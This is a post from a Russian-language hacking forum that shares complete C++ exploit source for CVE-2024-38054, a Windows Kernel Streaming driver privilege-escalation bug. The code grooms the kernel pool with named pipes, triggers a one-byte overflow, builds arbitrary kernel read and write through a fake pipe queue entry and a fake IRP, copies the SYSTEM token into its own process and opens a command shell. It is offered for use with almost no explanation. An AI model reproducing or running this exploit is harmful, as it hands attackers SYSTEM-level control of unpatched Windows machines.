• XSS.stack #1 – первый литературный журнал от юзеров форума

Local [CVE-2024-38054] - Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
C++:
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <stdio.h>
#include <vector>


#pragma comment(lib, "ntdll.lib")

#define QWORD unsigned long long
#define STATUS_SUCCESS 0
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)11
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16


typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES
{
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING TypeName;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN TypeIndex;
    CHAR ReservedByte;
    ULONG PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    /* 0x0000 */ unsigned short UniqueProcessId;
    /* 0x0002 */ unsigned short CreatorBackTraceIndex;
    /* 0x0004 */ unsigned char ObjectTypeIndex;
    /* 0x0005 */ unsigned char HandleAttributes;
    /* 0x0006 */ unsigned short HandleValue;
    /* 0x0008 */ uint64_t Object;
    /* 0x0010 */ unsigned long GrantedAccess;
    /* 0x0014 */ long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; /* size: 0x0018 */

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    /* 0x0000 */ unsigned long NumberOfHandles;
    /* 0x0008 */ struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; /* size: 0x0020 */

typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type;
    USHORT Reserved;
    ULONG Size;
    ULONG ReferenceCount;
    ULONG Flags;
    _LIST_ENTRY GlobalDataLink;
    PVOID Address;
    ULONG Length;
    CHAR AccessMode;
    ULONG MdlRef;
    struct _MDL* Mdl;
    BYTE MdlRundownEvent[24];       // Real type is KEVENT
    PULONG64 PfnArray;
    BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

// IORING struct on the usermode side (in kernelbase.dll)
typedef struct _HIORING
{
    HANDLE handle;
    BYTE Info[0x30];        // Real type is: NT_IORING_INFO
    ULONG IoRingKernelAcceptedVersion;
    PVOID RegBufferArray;
    ULONG BufferArraySize;
    PVOID Unknown;
    ULONG FileHandlesCount;
    ULONG SubQueueHead;
    ULONG SubQueueTail;
};

typedef struct _NT_IORING_CREATE_FLAGS
{
    /* 0x0000 */ enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
    /* 0x0004 */ enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS; /* size: 0x0008 */


typedef struct _NT_IORING_INFO
{
    /* 0x0000 */ enum IORING_VERSION IoRingVersion;
    /* 0x0004 */ struct _NT_IORING_CREATE_FLAGS Flags;
    /* 0x000c */ unsigned int SubmissionQueueSize;
    /* 0x0010 */ unsigned int SubmissionQueueRingMask;
    /* 0x0014 */ unsigned int CompletionQueueSize;
    /* 0x0018 */ unsigned int CompletionQueueRingMask;
    /* 0x0020 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    /* 0x0028 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO; /* size: 0x0030 */


typedef struct _IORING_OBJECT
{
    /* 0x0000 */ short Type;
    /* 0x0002 */ short Size;
    /* 0x0008 */ struct _NT_IORING_INFO UserInfo;
    /* 0x0038 */ void* Section;
    /* 0x0040 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    /* 0x0048 */ struct _MDL* CompletionQueueMdl;
    /* 0x0050 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
    /* 0x0058 */ unsigned __int64 ViewSize;
    /* 0x0060 */ long InSubmit;
    /* 0x0068 */ unsigned __int64 CompletionLock;
    /* 0x0070 */ unsigned __int64 SubmitCount;
    /* 0x0078 */ unsigned __int64 CompletionCount;
    /* 0x0080 */ unsigned __int64 CompletionWaitUntil;
    /* 0x0088 */ BYTE CompletionEvent[24];
    /* 0x00a0 */ unsigned char SignalCompletionEvent;
    /* 0x00a8 */ PVOID CompletionUserEvent;
    /* 0x00b0 */ unsigned int RegBuffersCount;
    /* 0x00b8 */ struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
    /* 0x00c0 */ unsigned int RegFilesCount;
    /* 0x00c8 */ void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT; /* size: 0x00d0 */

typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
    _In_ HANDLE ProcessHandle,
    _In_ PVOID BaseAddress,
    _In_ PVOID Buffer,
    _In_ ULONG NumberOfBytesToWrite,
    _Out_opt_ PULONG NumberOfBytesWritten
    );

struct _KDEVICE_QUEUE_ENTRY
{
    struct _LIST_ENTRY DeviceListEntry;                                     //0x0
    ULONG SortKey;                                                          //0x10
    UCHAR Inserted;                                                         //0x14
};

//0xd0 bytes (sizeof)
struct IRP
{
    SHORT Type;                                                             //0x0
    USHORT Size;                                                            //0x2
    struct _MDL* _ptr64 MdlAddress;                                                //0x8
    ULONG Flags;                                                            //0x10
    union
    {
        struct _IRP* _ptr64 MasterIrp;                                             //0x18
        LONG IrpCount;                                                      //0x18
        VOID* _ptr64 SystemBuffer;                                                 //0x18
    } AssociatedIrp;                                                        //0x18
    struct _LIST_ENTRY ThreadListEntry;                                     //0x20
    struct _IO_STATUS_BLOCK IoStatus;                                       //0x30
    CHAR RequestorMode;                                                     //0x40
    UCHAR PendingReturned;                                                  //0x41
    CHAR StackCount;                                                        //0x42
    CHAR CurrentLocation;                                                   //0x43
    UCHAR Cancel;                                                           //0x44
    UCHAR CancelIrql;                                                       //0x45
    CHAR ApcEnvironment;                                                    //0x46
    UCHAR AllocationFlags;                                                  //0x47
    union
    {
        struct _IO_STATUS_BLOCK* _ptr64 UserIosb;                                  //0x48
        VOID* _ptr64 IoRingContext;                                                //0x48
    };
    struct _KEVENT* _ptr64 UserEvent;                                              //0x50
    union
    {
        struct
        {
            union
            {
                VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); //0x58
                VOID* IssuingProcess;                                       //0x58
            };
            union
            {
                VOID* UserApcContext;                                       //0x60
                struct _IORING_OBJECT* IoRing;                              //0x60
            };
        } AsynchronousParameters;                                           //0x58
        union _LARGE_INTEGER AllocationSize;                                //0x58
    } Overlay;                                                              //0x58
    VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2);  //0x68
    VOID* UserBuffer;                                                       //0x70
    union
    {
        struct
        {
            union
            {
                struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry;               //0x78
                VOID* DriverContext[4];                                     //0x78
            };
            struct _ETHREAD* Thread;                                        //0x98
            CHAR* AuxiliaryBuffer;                                          //0xa0
            struct _LIST_ENTRY ListEntry;                                   //0xa8
            union
            {
                struct _IO_STACK_LOCATION* CurrentStackLocation;            //0xb8
                ULONG PacketType;                                           //0xb8
            };
            struct _FILE_OBJECT* OriginalFileObject;                        //0xc0
        } Overlay;                                                          //0x78
        char Apc[0x58];                                                   //0x78
        VOID* CompletionKey;                                                //0x78
    } Tail;                                                                 //0x78
};

typedef struct {
    uint64_t Flink;
    uint64_t Blink;
    IRP* POINTER_64 Irp;
    uint64_t SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
} DATA_QUEUE_ENTRY;


typedef struct _NP_DATA_QUEUE
{
    LIST_ENTRY Queue;
    ULONG QueueState;
    ULONG BytesInQueue;
    ULONG EntriesInQueue;
    ULONG Quota;
    ULONG QuotaUsed;
    ULONG ByteOffset;
    uint64_t queueTailAddr;
    uint64_t queueTail;
} NP_DATA_QUEUE, * PNP_DATA_QUEUE;

typedef USHORT NODE_TYPE_CODE, * PNODE_TYPE_CODE;
typedef struct _NP_CCB
{
    NODE_TYPE_CODE NodeType;
    DWORD pad1;
    UCHAR NamedPipeState;
    // CompletionMode and ReadMode are merged into 1 list, for each entry, the 1st bit is ReadMode, 2nd bit is CompletionMode
    UCHAR CompletionAndReadMode[2];
    UCHAR pad2;
    SECURITY_QUALITY_OF_SERVICE ClientQos;
    LIST_ENTRY CcbEntry;
    void* Fcb;
    PVOID64 FileObject[2];
    PVOID64 Process;
    NP_DATA_QUEUE DataQueueInbound;
    LIST_ENTRY IrpList;
    char pad3[20];
    NP_DATA_QUEUE DataQueueOutbound;
} NP_CCB, * PNP_CCB;


//0x10 bytes (sizeof)
struct _POOL_HEADER
{
    union
    {
        struct
        {
            USHORT PreviousSize : 8;                                          //0x0
            USHORT PoolIndex : 8;                                             //0x0
            USHORT BlockSize : 8;                                             //0x2
            USHORT PoolType : 8;                                              //0x2
        };
        ULONG Ulong1;                                                       //0x0
    };
    ULONG PoolTag;                                                          //0x4
    union
    {
        unsigned long long ProcessBilled;                                    //0x8
        struct
        {
            USHORT AllocatorBackTraceIndex;                                 //0x8
            USHORT PoolTagHash;                                             //0xa
        };
    };
};

typedef NTSTATUS(__stdcall* NTFSCONTROLFILE)(
    HANDLE           fileHandle,
    HANDLE           event,
    PVOID apcRoutine,
    void* ApcContext,
    IO_STATUS_BLOCK* ioStatusBlock,
    unsigned long    FsControlCode,
    void* InputBuffer,
    unsigned long    InputBufferLength,
    void* OutputBuffer,
    unsigned long    OutputBufferLength
    );

struct _IO_COMPLETION_CONTEXT
{
    unsigned long long Port;         //0x0
    unsigned long long Key;          //0x8
    unsigned long long UsageCount;   //0x10
};

typedef struct _FILE_COMPLETION_INFORMATION {
    HANDLE Port;
    PVOID  Key;
} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION;

typedef struct {
    HANDLE Read;
    HANDLE Write;
} PIPE_HANDLES;



#define PIPE_NAME_1 "\\\\.\\pipe\\exploit1"
#define PIPE_NAME_2 "\\\\.\\pipe\\exploit2"
#define PIPE_NAME_PAD "\\\\.\\pipe\\exploitPad"
C++:
#ifndef HEXDUMP_HPP
#define HEXDUMP_HPP

#include <cctype>
#include <iomanip>
#include <ostream>

template <unsigned RowSize, bool ShowAscii>
struct CustomHexdump
{
    CustomHexdump(const void* data, unsigned length) :
        mData(static_cast<const unsigned char*>(data)), mLength(length) { }
    const unsigned char* mData;
    const unsigned mLength;
};

template <unsigned RowSize, bool ShowAscii>
std::ostream& operator<<(std::ostream& out, const CustomHexdump<RowSize, ShowAscii>& dump)
{
    out.fill('0');
    for (int i = 0; i < dump.mLength; i += RowSize)
    {
        out << "0x" << std::setw(6) << std::hex << i << ": ";
        for (int j = 0; j < RowSize; ++j)
        {
            if (i + j < dump.mLength)
            {
                out << std::hex << std::setw(2) << static_cast<int>(dump.mData[i + j]) << " ";
            }
            else
            {
                out << "   ";
            }
        }

        out << " ";
        if (ShowAscii)
        {
            for (int j = 0; j < RowSize; ++j)
            {
                if (i + j < dump.mLength)
                {
                    if (std::isprint(dump.mData[i + j]))
                    {
                        out << static_cast<char>(dump.mData[i + j]);
                    }
                    else
                    {
                        out << ".";
                    }
                }
            }
        }
        out << std::endl;
    }
    return out;
}

typedef CustomHexdump<16, true> Hexdump;

#endif // HEXDUMP_HPP
C++:
// exploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "Header.hpp"
#include "Hexdump.hpp"

#include <Ks.h>
#include <Ksmedia.h>
#include <Cfgmgr32.h>

#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Cfgmgr32.lib")

#define TEE_INTERFACE "\\\\?\\root#system#0000#{cf1dda2c-9743-11d0-a3ee-00a0c9223196}\\{cfd669f1-9bc2-11d0-8299-0000f822fe8a}&{cf1dda2c-9743-11d0-a3ee-00a0c9223196}"

#define KS_HEADER_SIZE (sizeof(KSSTREAM_HEADER) + sizeof(KS_FRAME_INFO) + sizeof(KSSTREAM_METADATA_INFO))
#define TARGET_CHUNK_SIZE 0x4000
#define VULN_CHUNK_SIZE (TARGET_CHUNK_SIZE - 0x10 - 8 * 2)

#define NP_HEADER_SIZE 0x30
#define FIRST_ENTRY_SIZE (0x2000-NP_HEADER_SIZE) //FIRST_ENTRY is not very important
#define SECOND_ENTRY_SIZE (TARGET_CHUNK_SIZE-NP_HEADER_SIZE)
#define THIRD_ENTRY_SIZE (0x1000-NP_HEADER_SIZE)

#define TOTAL_DATA_SIZE (FIRST_ENTRY_SIZE + SECOND_ENTRY_SIZE + THIRD_ENTRY_SIZE)

#define VULN_HEADER_SIZE 0x97   // KS_HEADER_SIZE: 16 byte overflow --> 0x97 = KS_HEADER_SIZE + 15, limit to 1 byte overflow
#define FRAME_SIZE 100
#define VULN_HEADER_PAD (VULN_CHUNK_SIZE - VULN_HEADER_SIZE)    // Total VULN_CHUNK_SIZE will round up to page align anyway

#define NAME_PIPE_SPRAY_COUNT 2000
#define NAME_PIPE_HOLE_COUNT 10

#define EPROCESS_THREADLISTHEAD_OFFSET 0x5e0
#define EPROCESS_PID_OFFSET 0x440
#define EPROCESS_TOKEN_OFFSET 0x4b8
#define EPROCESS_PROCESSLINK_OFFSET 0x448

PIPE_HANDLES g_vulnPipe;
DATA_QUEUE_ENTRY* g_usermodeDqe;

DWORD WINAPI ThreadedWriter(void* arg) {
    // Create an extra entry, making the pipe quota exceed to declared amount
    char* buf = (char*)arg;
    DWORD res;
    WriteFile(g_vulnPipe.Write, buf, FIRST_ENTRY_SIZE, &res, NULL);
    Sleep(-1);
    return 0;
}


void arbitraryRead(PVOID64 addr, size_t size, PVOID result) {
    //printf("[*] Reading: 0x%I64x\n", addr);
    if (!g_vulnPipe.Read) {
        puts("[!] No corrupted pipe");
        return;
    }

    *(PVOID64*)((char*)g_usermodeDqe->Irp + 0x18) = addr; // SystemBuffer
    g_usermodeDqe->SecurityContext = 0;
    g_usermodeDqe->EntryType = 1;
    g_usermodeDqe->QuotaInEntry = 0;
    g_usermodeDqe->DataSize = size;
    size_t bufSize = TOTAL_DATA_SIZE + 1 + size;
    char* tempBuf = (char*)malloc(bufSize);

    PeekNamedPipe(g_vulnPipe.Read, tempBuf, bufSize, NULL, NULL, NULL);
    memcpy(result, &tempBuf[bufSize - size], size);
    //std::cout << Hexdump(result, size) << std::endl;
    free(tempBuf);
}

void initFakeDataQueueEntry() {
    g_usermodeDqe = (DATA_QUEUE_ENTRY*)VirtualAlloc(NULL, sizeof(DATA_QUEUE_ENTRY), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    IRP* irp = (IRP*)VirtualAlloc(NULL, sizeof(IRP), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    printf("[*] Fake DATA_QUEUE_ENTRY at: 0x%p\n", g_usermodeDqe);
    printf("[*] Usermode IRP at: 0x%p\n", irp);
    memset(g_usermodeDqe, 0, sizeof(DATA_QUEUE_ENTRY));
    g_usermodeDqe->Irp = irp;
    g_usermodeDqe->SecurityContext = 0;
    g_usermodeDqe->EntryType = 1;
    g_usermodeDqe->QuotaInEntry = 0;
    g_usermodeDqe->DataSize = 0x100;  // will be fixed later when arbitrary read
}

uint64_t findEProcessById(uint64_t eProc, uint64_t targetPid) {
    // eProc is a known address of an EPROCESS
    uint64_t currentEProc, currentPid;
    currentEProc = eProc;
    while (true) {
        arbitraryRead((PVOID64)(currentEProc + EPROCESS_PID_OFFSET), 8, &currentPid);
        if (currentPid == targetPid) {
            return currentEProc;
        }
        arbitraryRead((PVOID64)(currentEProc + EPROCESS_PROCESSLINK_OFFSET), 8, &currentEProc);
        currentEProc -= EPROCESS_PROCESSLINK_OFFSET;
        if (currentEProc == eProc) {
            return 0;
        }
    }
}

void prepareWriteIRP(uint64_t irp, uint64_t thread_list, uint64_t source_address, uint64_t destination_address) {
    *(ULONG*)(irp + 0x10) = 0x60850;
    *(uint64_t*)(irp + 0x18) = source_address;
    *(uint64_t*)(irp + 0x70) = destination_address;
    *(uint64_t*)(irp + 0x20) = thread_list;
    *(uint64_t*)(irp + 0x28) = thread_list;
}

void prepareDataEntryForWrite(uint64_t irp, uint32_t size) {
    g_usermodeDqe->EntryType = 0;
    g_usermodeDqe->DataSize = size;
    g_usermodeDqe->QuotaInEntry = size - 1;
    g_usermodeDqe->Irp = (IRP* __ptr64)irp;
}

int main() {
    NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");

    puts("[*] Creating pin");
    HANDLE hDevice = CreateFileA(TEE_INTERFACE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    PKSPIN_CONNECT ksPinConn = (PKSPIN_CONNECT)malloc(sizeof(KSPIN_CONNECT) + sizeof(KSDATAFORMAT));
    ksPinConn->Interface.Set = KSINTERFACESETID_Standard;
    ksPinConn->Interface.Id = KSINTERFACE_STANDARD_STREAMING;
    ksPinConn->Interface.Flags = 0;

    ksPinConn->Medium.Set = KSMEDIUMSETID_Standard;
    ksPinConn->Medium.Id = KSMEDIUM_STANDARD_DEVIO;
    ksPinConn->Medium.Flags = 0;

    ksPinConn->PinId = 0;
    ksPinConn->PinToHandle = NULL;
    ksPinConn->Priority.PriorityClass = KSPRIORITY_NORMAL;
    ksPinConn->Priority.PrioritySubClass = KSPRIORITY_NORMAL;

    PKSDATAFORMAT ksDataFormat = (PKSDATAFORMAT)(ksPinConn + 1);
    ksDataFormat->FormatSize = sizeof(KSDATAFORMAT);
    ksDataFormat->Flags = 0;
    ksDataFormat->SampleSize = 0;
    ksDataFormat->Reserved = 0;
    ksDataFormat->MajorFormat = KSDATAFORMAT_TYPE_STREAM;
    ksDataFormat->SubFormat = KSDATAFORMAT_SUBTYPE_NONE;
    ksDataFormat->Specifier = KSDATAFORMAT_SPECIFIER_NONE;

    HANDLE connHandle;
    KsCreatePin(hDevice, ksPinConn, GENERIC_READ, &connHandle);

    puts("[*] Setting up a DQE in usermode");
    initFakeDataQueueEntry();

    puts("[*] Pool spray");
    int holePipeCounter = 0;
    char pipeContent[TOTAL_DATA_SIZE];
    memset(pipeContent, 0x42, sizeof(pipeContent));

    std::vector<PIPE_HANDLES> sprayPipeList, holePipeList;
    HANDLE r, w;
    for (int i = 0; i < NAME_PIPE_SPRAY_COUNT; i++) {
        w = CreateNamedPipeA(PIPE_NAME_1, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, TOTAL_DATA_SIZE, 0, 0, NULL);
        r = CreateFileA(PIPE_NAME_1, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
        if (r == NULL || w == NULL) {
            puts("Failed to create pipe");
            continue;
        }
        sprayPipeList.push_back({ r, w });
    }

    for (int i = 0; i < NAME_PIPE_HOLE_COUNT; i++) {
        w = CreateNamedPipeA(PIPE_NAME_1, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, TOTAL_DATA_SIZE, 0, 0, NULL);
        r = CreateFileA(PIPE_NAME_1, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
        if (r == NULL || w == NULL) {
            puts("Failed to create pipe");
            continue;
        }
        holePipeList.push_back({ r, w });
    }

    // Create 1st entries
    for (auto& p : sprayPipeList) {
        WriteFile(p.Write, pipeContent, FIRST_ENTRY_SIZE, NULL, NULL);
    }

    // Creating 2nd entries
    for (int i = 0; i < NAME_PIPE_SPRAY_COUNT; i++) {
        WriteFile(sprayPipeList[i].Write, pipeContent, SECOND_ENTRY_SIZE, NULL, 0);
        if (i > 900 && i < NAME_PIPE_SPRAY_COUNT - 10 && i % 4 == 0 && holePipeCounter < NAME_PIPE_HOLE_COUNT) {
            WriteFile(holePipeList[holePipeCounter].Write, pipeContent, SECOND_ENTRY_SIZE, NULL, 0);
            holePipeCounter++;
        }
    }
    // Create 3rd entries
    char thirdEntryBuf[THIRD_ENTRY_SIZE];
    ZeroMemory(thirdEntryBuf, THIRD_ENTRY_SIZE);
    DATA_QUEUE_ENTRY* innerEntry = (DATA_QUEUE_ENTRY*)thirdEntryBuf;    // The fake entry inside the 3rd entry
    innerEntry->Flink = (uint64_t)g_usermodeDqe;
    innerEntry->Blink = 0;
    innerEntry->Irp = NULL;
    innerEntry->EntryType = 0;
    innerEntry->QuotaInEntry = 0;
    innerEntry->DataSize = THIRD_ENTRY_SIZE + 1;
    for (auto& p : sprayPipeList) {
        WriteFile(p.Write, thirdEntryBuf, THIRD_ENTRY_SIZE, NULL, NULL);
    }

    // Prepare payload
    KSSTREAM_HEADER* ksStreamHeader = (KSSTREAM_HEADER*)malloc(VULN_CHUNK_SIZE);
    ZeroMemory(ksStreamHeader, VULN_CHUNK_SIZE);
    ksStreamHeader->Size = VULN_HEADER_PAD;
    ksStreamHeader->FrameExtent = FRAME_SIZE;
    ksStreamHeader->Data = malloc(FRAME_SIZE);
    ksStreamHeader->OptionsFlags = 0;
    memset(ksStreamHeader + 1, 0x41, ksStreamHeader->Size - sizeof(KSSTREAM_HEADER));

    KSSTREAM_HEADER* vulnHeader = (KSSTREAM_HEADER*)((char*)ksStreamHeader + VULN_HEADER_PAD);
    vulnHeader->Size = VULN_HEADER_SIZE;
    vulnHeader->FrameExtent = FRAME_SIZE;
    vulnHeader->Data = malloc(FRAME_SIZE);
    vulnHeader->OptionsFlags = KSSTREAM_HEADER_OPTIONSF_METADATA | KSSTREAM_HEADER_OPTIONSF_FRAMEINFO | KSSTREAM_HEADER_OPTIONSF_PERSIST_SAMPLE;
    memset(vulnHeader + 1, 0x41, sizeof(KS_FRAME_INFO));

    KSSTREAM_METADATA_INFO* metadataInfo = (KSSTREAM_METADATA_INFO*)((char*)vulnHeader + sizeof(KSSTREAM_HEADER) + sizeof(KS_FRAME_INFO));
    metadataInfo->BufferSize = sizeof(DATA_QUEUE_ENTRY);
    metadataInfo->UsedSize = sizeof(DATA_QUEUE_ENTRY);
    metadataInfo->Data = g_usermodeDqe;
    metadataInfo->SystemVa = (PVOID)0x43434343;
    metadataInfo->Flags = 0x43434343;
    metadataInfo->Reserved = 0x30000000;    // The overflow byte is 0x30

    // Poke holes and trigger the vuln
    for (auto& p : holePipeList) {
        ReadFile(p.Read, pipeContent, SECOND_ENTRY_SIZE, 0, 0);
    }

    puts("[*] Triggering overflow");
    DeviceIoControl(connHandle, IOCTL_KS_READ_STREAM, ksStreamHeader, VULN_CHUNK_SIZE, ksStreamHeader, VULN_CHUNK_SIZE, NULL, NULL);
    // Detect corrupted pipe
    for (auto& p : sprayPipeList) {
        char outOfBoundDat[TOTAL_DATA_SIZE + 1];
        DWORD byteRead;
        PeekNamedPipe(p.Read, outOfBoundDat, sizeof(outOfBoundDat), &byteRead, NULL, NULL);
        if (byteRead == TOTAL_DATA_SIZE + 1) {
            puts("[*] Found corrupted pipe");
            g_vulnPipe = { p.Read, p.Write };
        }
    }
    if (!g_vulnPipe.Read) {
        puts("[!] Can't find corrupted pipe");
        exit(1);
    }
    char outOfBoundDat[TOTAL_DATA_SIZE + 1];
    PeekNamedPipe(g_vulnPipe.Read, outOfBoundDat, sizeof(outOfBoundDat), NULL, NULL, NULL);
    DATA_QUEUE_ENTRY* _ptr64 nextChunkFlink = (DATA_QUEUE_ENTRY* _ptr64)*(uint64_t*)&outOfBoundDat[TOTAL_DATA_SIZE - 0x30];
    printf("[*] Next chunk Flink: 0x%I64x\n", nextChunkFlink);
    DATA_QUEUE_ENTRY* _ptr64 nextChunkAddr;
    arbitraryRead(&nextChunkFlink->Blink, 8, &nextChunkAddr);
    printf("[*] Next chunk address: 0x%I64x\n", nextChunkAddr);
    DATA_QUEUE_ENTRY* _ptr64 currentThirdEntry = (DATA_QUEUE_ENTRY * _ptr64)((uint64_t)nextChunkAddr - THIRD_ENTRY_SIZE - NP_HEADER_SIZE);
    printf("[*] Leaked corrupted 3rd entry: 0x%I64x\n", currentThirdEntry);
    uint64_t corruptCcbAddr;
    arbitraryRead(&currentThirdEntry->Flink, 8, &corruptCcbAddr);   // last entry, so the fwd pointer points to ccb
    printf("[*] CCB of the corrupted pipe: 0x%I64x\n", corruptCcbAddr);

    CreateThread(0, 0, ThreadedWriter, pipeContent, 0, 0);
    Sleep(2000);

    uint64_t nextEntry, validIrpAddr;
    arbitraryRead(&currentThirdEntry->Flink, 8, &nextEntry);
    arbitraryRead((PVOID64)(nextEntry + offsetof(DATA_QUEUE_ENTRY, Irp)), 8, &validIrpAddr);
    printf("[*] Real IRP created at: 0x%I64x\n", validIrpAddr);

    char irpData[0x100];
    arbitraryRead((PVOID64)validIrpAddr, 0x100, irpData);

    uint64_t threadListHead, currentEProcess, systemEProcess;
    // Calculate _ETHREAD.ThreadListEntry from _ETHREAD.IrpList
    // IRP belongs to the last thread created, Flink points to ThreadListHead in EProcess
    arbitraryRead((PVOID64)(*(uint64_t*)(&irpData[0x20]) + 0x38), 8, &threadListHead);
    currentEProcess = threadListHead - EPROCESS_THREADLISTHEAD_OFFSET;
    printf("[*] Leaked current EPROCESS: 0x%I64x\n", currentEProcess);
    systemEProcess = findEProcessById(currentEProcess, 4);
    printf("[*] Leaked SYSTEM EPROCESS: 0x%I64x\n", systemEProcess);

    puts("[*] Crafting fake IRP");
    uint64_t thread_list[2];
    IO_STATUS_BLOCK isb;
    prepareWriteIRP((uint64_t)irpData, (uint64_t)thread_list, systemEProcess + EPROCESS_TOKEN_OFFSET, currentEProcess + EPROCESS_TOKEN_OFFSET);
    // TODO: Find out why the entry holding the fake IRP has to be unbuffered
    NtFsControlFile(g_vulnPipe.Write, 0, 0, 0, &isb, 0x119FF8, irpData, 0x1000, 0, 0); 

    uint64_t containerEntryAddr, containerIrpAddr, fakeIrpAddr;
    arbitraryRead((PVOID64)nextEntry, 8, &containerEntryAddr);  // New entry created at the end of the list
    arbitraryRead((PVOID64)(containerEntryAddr + offsetof(DATA_QUEUE_ENTRY, Irp)), 8, &containerIrpAddr);
    arbitraryRead((PVOID64)(containerIrpAddr + 0x18), 8, &fakeIrpAddr);
    printf("[*] Fake IRP at: 0x%I64x\n", fakeIrpAddr);

    prepareDataEntryForWrite(fakeIrpAddr, 8);
    thread_list[0] = thread_list[1] = fakeIrpAddr + 0x20;
    puts("[*] Trigger arbitrary write, swapping tokens");
    DWORD byteRead;
    ReadFile(g_vulnPipe.Read, pipeContent, 1, &byteRead, 0);
    Sleep(200);

    puts("[*] Done");
    system("cmd");

    getchar();
}

Source: https://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх